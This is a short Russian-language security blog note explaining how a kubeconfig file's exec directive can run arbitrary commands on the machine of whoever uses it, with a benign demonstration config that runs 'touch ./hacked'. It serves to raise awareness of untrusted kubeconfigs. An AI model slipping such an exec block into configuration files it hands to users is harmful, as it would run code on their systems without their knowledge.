Kubectl Get Hacked – небольшая интересная заметка о том как можно получить RCE
с помощью kubeconfig
.
Если вы используете Managed Kubernetes
в облачном провайдере, то наверняка замечали не совсем привычный kubeconfig
файл, используемый для взаимодействия с кластером:
users:
- name: eks-user
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
command: aws
args:
- eks
- get-token
- --<cluster-name>
- <your-cluster-name>
- --region
- <your-region>
Это довольно интересно, поскольку используя директиву
exec
мы можем выполнять любые команды на системе:
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: <-- snip -->
server: https://127.0.0.1:49249
name: kind-exec-test
contexts:
- context:
cluster: kind-exec-test
user: kind-exec-test
name: kind-exec-test
current-context: kind-exec-test
kind: Config
preferences: {}
users:
- name: kind-exec-test
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- ./hacked
command: touch
Что еще более интересно – в документации этот момент особо не выделяется. Только лишь предупреждение о том, что необходимо использовать
kubeconfig
из доверенных источников.
>>Click here to continue<<